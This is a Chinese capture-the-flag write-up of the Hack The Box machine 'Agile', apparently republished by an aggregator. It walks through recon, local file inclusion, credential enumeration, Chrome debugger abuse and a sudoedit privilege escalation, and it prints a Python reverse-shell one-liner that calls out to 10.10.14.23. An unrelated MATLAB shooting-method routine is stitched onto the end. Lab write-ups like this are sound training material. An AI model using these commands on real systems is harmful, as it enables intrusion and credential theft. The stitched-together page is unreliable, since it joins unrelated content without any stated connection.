HTB打靶日记:Agile
Posted 文(备考oscp版~)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTB打靶日记:Agile相关的知识,希望对你有一定的参考价值。
信息收集:
TCP协议:
nmap -p- -sT --min-rate=1000 -Pn 10.129.222.107
UDP协议:
nmap -p- -sU --min-rate=1000 -Pn 10.129.222.107
直接访问80端口,会自动出现一个域名superpass.htb,将这个域名加入hosts文件中
在web界面有一个登陆框,在登陆框处,存在一个注册界面
在注册后,会出现一个报错页面,在页面中发现了一些文件的绝对路径,猜测可能在其他位置存在LFI漏洞,然后下载这些文件
开始目录扫描
gobuster dir -u http://superpass.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 50
发现了/download页面,在页面中存在一个文件读取的参数fn
在这个报错页面中发现了load_user,可能含有用户登陆的东西
将它利用LFI漏洞下载后发现了一串加密的密钥,但是没看懂怎么解密,只能再找找其他出路了
利用LFI漏洞读取../app/app/superpass/views/vault_views.py文件,在这个py脚本中发现输入用户id可以返回password的路径/vault/row/<id>,此时思路就是枚举用户id
利用yakit开始fuzz
在第3、6、7、8位处发现用户的账户以及密码
其中一个账户密码成功利用ssh登陆
成功获取了第一个flag
查看一下suid权限,发现了chrome
查看本地的服务
在chrome中输入chrome://inspect/后配置discover network targerts,添加转发端口后可以看到SuperPassword,后访问vault目录后,可以获取edwards的密码
发现了edwards 用户的密码,利用edwards 的密码成功利用ssh登陆
发现当前用户可以无密码利用dev_admin权限去编辑/app/config_test.json与/app/app-testing/tests/functional/creds.txt
config_test.jso文件是一个配置文件,写入反弹shell命令
export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",8888));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功获取root权限
拿到了第二个flag
打靶法求解两点边值问题
function varargout = shooting_two_point_boundary(varargin) % ========================================================== % 函数名:shooting_two_point_boundary.m % 基于打靶法计算两点边值问题,仅针对二阶微分方程 % author: xianfa110. % blog: http://blog.sina.com.cn/xianfa110 % 函数形式: % [result,err,z0] = shooting_two_point_boundary(@fun,[y_0,y_end],[x_0,x_1],h); % 输入: % fun = 函数名; % y_0 = 函数初值; % y_end = 函数终值; % x_0 = 自变量初值; % x_end = 自变量终值; % h = 积分步长; % 输出: % result = [x,y]; % err = 误差; % z0 = y‘初值; % =========================================================== % 函数fun:4y‘‘+yy‘ = 2x^3 +16 ; 2<= x <=3 % 写法: % function f = fun(y,x) % dy = y(2); % dz = (2*x^3+16-y(1)*y(2))/4; % f = [dy,dz]; % =========================================================== % 注意:y(1) = y,y(2) = y‘。 % =========================================================== F = varargin{1}; y_0 = varargin{2}(1); y_end = varargin{2}(2); x_0 = varargin{3}(1); x_1 = varargin{3}(2); ts = varargin{4}; t0 = x_0-0.5; flg = 0; kesi = 1e-6; y0 = rkkt(F,[y_0,t0],x_0,x_1,ts); n = length(y0(:,1)); if abs(y0(n,1)-y_end)<=kesi flg=1; else t1=t0+1; y1=rkkt(F,[y_0,t1],x_0,x_1,ts); if abs(y1(n,1)-y_end)<=kesi flg=1; end end if flg ~= 1 while abs(y1(n,1)-y_end) > kesi % ==========插值法求解非线性方程=============== % t2 = t1-(y1(n,1)-y_end)*(t1-t0)/(y1(n,1)-y0(n,1)); y2 = rkkt(F,[y_0,t2],x_0,x_1,ts); t0=t1; t1=t2; y0=y1; y1=y2; end end x = x_0:ts:x_1; out = [x‘,y1(:,1)]; varargout{1} = out; varargout{2} = abs(y1(n,1)-y_end); varargout{3} = t1;
转载:http://blog.sina.com.cn/s/blog_408540af0100b7mi.html
以上是关于HTB打靶日记:Agile的主要内容,如果未能解决你的问题,请参考以下文章